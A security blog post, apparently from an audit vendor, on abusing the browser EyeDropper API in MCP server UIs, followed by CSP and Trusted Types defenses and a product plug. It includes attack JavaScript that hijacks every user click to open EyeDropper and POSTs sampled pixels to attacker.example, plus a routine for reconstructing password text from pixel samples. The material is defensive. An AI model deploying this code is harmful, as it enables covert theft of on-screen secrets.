Blog · MCP Server Security

MCP server EyeDropper API security — pixel sampling screen reconstruction, gesture hijacking, and CSP gap

The EyeDropper API lets users click anywhere on screen — including other applications — to sample a pixel color. An injected script in an MCP server UI can hijack user clicks to open the EyeDropper without consent, systematically sample screen content to reconstruct text, and exploit a gap in Content Security Policy that provides no directive to block EyeDropper calls. The only reliable defense is preventing script injection entirely.

EyeDropper API: full-screen pixel access, one sample at a time

EyeDropper.open() presents a browser-native color-picking cursor. The picker is not restricted to the browser window — it operates across the full OS display, including other applications, system UI, and other browser tabs. Each call returns one sRGB hex string representing the clicked pixel's color.

// Basic EyeDropper — requires a user gesture (transient activation) to open
const eyeDropper = new EyeDropper();

document.getElementById('pick-btn').addEventListener('click', async () => {
  try {
    const result = await eyeDropper.open();
    // result: { sRGBHex: "#1a2b3c" }
    // 24 bits of color information per click, anywhere on the display
    console.log('Sampled:', result.sRGBHex);
  } catch (err) {
    // User pressed Escape — AbortError thrown
    if (err.name !== 'AbortError') throw err;
  }
});

Cross-application scope: The EyeDropper cursor operates at the OS compositor level. A user who has a password manager, SSH terminal, authentication code display, or any sensitive application visible on screen exposes that content when EyeDropper.open() is active. The browser provides no mechanism to restrict sampling to its own window.

Pixel sampling for screen content reconstruction

Dark text on a light background (the dominant rendering pattern) encodes character shapes in pixel darkness. By sampling pixels at known coordinates with sufficient density, an attacker can recover text from fixed-position UI elements — particularly browser extension popups and system-level password prompts that appear at predictable screen positions.

// ATTACK CONCEPT: reconstruct text from pixel samples
// Each character cell is typically 8–12px wide; dark pixels = character ink

function hexToLuminance(hex) {
  // Parse #rrggbb and compute perceived lightness
  const r = parseInt(hex.slice(1, 3), 16) / 255;
  const g = parseInt(hex.slice(3, 5), 16) / 255;
  const b = parseInt(hex.slice(5, 7), 16) / 255;
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}

// Build a pixel bitmap of a target region
// (gesture hijacking in the next section makes repeated sampling practical)
async function buildBitmap(samples) {
  // samples: [{ x, y, sRGBHex }, ...]
  // Convert to binary: dark pixel (luminance < 0.5) = 1 (ink), else 0
  return samples.map(s => ({
    x: s.x, y: s.y,
    ink: hexToLuminance(s.sRGBHex) < 0.5 ? 1 : 0
  }));
}

// Target: password manager extension popup at screen position (1200, 50)
// Typical autofill field: 200px wide, 24px tall, 12pt font
// ~500 samples at 2px step fully reconstructs the rendered glyphs
// OCR on the ink bitmap recovers the password text

Known-coordinate targeting: Browser extensions such as password managers and 2FA apps render at predictable positions relative to the browser's address bar. An attacker who knows the user's browser and screen resolution can hardcode target coordinates for high-value UI regions.

Gesture hijacking via capture-phase click listener

The EyeDropper requires a user gesture — specifically, transient activation from a click or keydown — to call .open(). An injected script bypasses this by registering a capture-phase event listener that fires before the browser clears transient activation from the user's own click. The user's click event becomes the gesture for the attacker's EyeDropper.open() call.

// ATTACK: capture-phase gesture hijacking
// The user clicks something on the page; the capture-phase listener
// intercepts their transient activation and opens EyeDropper instead.

document.addEventListener('click', async (event) => {
  // useCapture = true: fires before bubble-phase handlers on the target
  // The click event is in progress — transient activation is valid here
  try {
    const picker = new EyeDropper();
    // .open() called synchronously in the same task as the user click
    const sample = await picker.open();
    // User now clicks anywhere on screen (or another application)
    // to provide the pixel sample — they see their normal cursor
    await fetch('https://attacker.example/sample', {
      method: 'POST',
      body: JSON.stringify({
        hex: sample.sRGBHex,
        originX: event.screenX,
        originY: event.screenY,
        ts: Date.now()
      }),
      keepalive: true
    });
  } catch (e) {
    // AbortError: user pressed Escape — silently continue
    // User's original click still fires on bubbling phase
  }
}, true /* capture = true */);

// Effect: every user click is silently consumed as an EyeDropper gesture.
// Over dozens of clicks in a session, the attacker accumulates pixels
// from wherever the user clicked — including outside the browser.

User experience impact is minimal: The EyeDropper cursor is briefly visible but matches system cursor behavior closely in many OS themes. Users who click rapidly or are not watching the cursor carefully will not notice the interception. The user's intended click still fires on the bubbling phase after the EyeDropper resolves.

The CSP gap: no directive restricts EyeDropper

As of 2026, the Content Security Policy specification includes no directive that controls EyeDropper usage. The script-src directive restricts which scripts can execute — preventing the injected script that calls EyeDropper — but a script already running in the page (via XSS, compromised CDN, or malicious npm dependency) can call EyeDropper.open() without any CSP violation being reported.

// CSP header that does NOT prevent EyeDropper in an already-executing script:
// Content-Security-Policy:
//   default-src 'self';
//   script-src 'self' 'nonce-abc123';
//   connect-src 'self';

// A script running via an allowed nonce or inline eval bypass can still do:
const result = await new EyeDropper().open();  // No CSP violation

// Compare with screen capture APIs — getDisplayMedia() and getViewportMedia()
// are blockable via:
// Permissions-Policy: display-capture=()   ← blocks getDisplayMedia
// Permissions-Policy: window-management=() ← blocks window.getScreenDetails
//
// But there is no equivalent:
// Permissions-Policy: eye-dropper=()       ← DOES NOT EXIST in spec (as of 2026)

// The only reliable defenses:
// 1. strict script-src with nonces/hashes (prevents injection)
// 2. Trusted Types (prevents DOM XSS injection vectors)
// 3. Sandbox tool output in cross-origin iframes (prevents access to main page)

The implication is that EyeDropper cannot be defended in isolation — you cannot add a single HTTP header to block it after an injection occurs. The defense is preventing injection entirely, which requires a strict CSP combined with Trusted Types to close DOM XSS vectors.

// DEFENSE: strict CSP + Trusted Types eliminates the injection vector
// HTTP headers:
// Content-Security-Policy:
//   script-src 'nonce-{random}';
//   require-trusted-types-for 'script';
//   trusted-types default;
//   connect-src 'self' https://api.example.com;

// Application code must use a Trusted Types policy for any DOM writes:
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => {
    // Sanitize — DOMPurify or equivalent
    return DOMPurify.sanitize(input);
  }
});

// Any innerHTML assignment with a raw string now throws:
// element.innerHTML = userString;       // TypeError — Trusted Types violation
element.innerHTML = policy.createHTML(userString);  // Safe

// With no way to inject a script, EyeDropper cannot be called by tool output.

EyeDropper security — risk comparison

Pattern Attack mechanism Security risk Defense
Injected script calls EyeDropper.open() Requires gesture but capture-phase hijacking supplies it Full-screen pixel sampling including other applications Prevent script injection via strict CSP + Trusted Types
MCP tool rendered without strict script-src CSP Injected script executes without CSP violation Any injected code can call EyeDropper; no policy blocks it Nonce-based script-src; hash pinning for inline scripts
EyeDropper call via DOM XSS without Trusted Types Attacker injects img onerror or script tag via unsafe innerHTML EyeDropper call executes in page context with full gesture access Enable require-trusted-types-for 'script'; eliminate unsafe sinks
No Permissions-Policy: display-capture=() header Related screen capture APIs also unblocked alongside EyeDropper Defense-in-depth gap — getDisplayMedia available as fallback exfil vector Set Permissions-Policy: display-capture=() to block capture APIs
Tool output in same browsing context (no iframe sandbox) Tool content shares JavaScript context with main application Tool code can attach capture-phase listeners to document directly Render tool output in cross-origin sandboxed iframes

SkillAudit findings for the EyeDropper API

CRITICAL Injected script calls EyeDropper.open() via capture-phase gesture hijacking — MCP tool output renders a script that attaches a capture-phase click listener; each user click becomes an EyeDropper gesture sampling a pixel from anywhere on the full display, including other applications. Score: −24.
HIGH MCP tool output rendered without strict script-src CSP — absent nonce-based or hash-based script-src, injected scripts execute without CSP violation; EyeDropper cannot be blocked at the policy layer once a script runs, so preventing injection is the only control. Score: −20.
HIGH MCP UI does not enforce Trusted Types — without require-trusted-types-for 'script', DOM XSS via unsafe innerHTML assignments in tool rendering code provides an injection path for EyeDropper-calling scripts that bypasses script-src nonce controls. Score: −18.
MEDIUM No Permissions-Policy header restricting EyeDropper or display-capture — EyeDropper has no Permissions-Policy directive (spec gap), but related screen capture APIs are unblocked by the absence of display-capture=(); defense-in-depth controls for screen access are missing. Score: −10.
LOW No Permissions-Policy: display-capture=()getDisplayMedia() and getViewportMedia() are not restricted; a script that cannot use EyeDropper due to gesture requirements may fall back to these capture APIs as alternative exfiltration vectors. Score: −6.

Audit your MCP server for EyeDropper API security issues

SkillAudit detects missing strict CSP script-src policies, absent Trusted Types enforcement, capture-phase event listener patterns in tool-rendered code, and the absence of Permissions-Policy headers covering screen access APIs. Free audit in 60 seconds.

Free audit →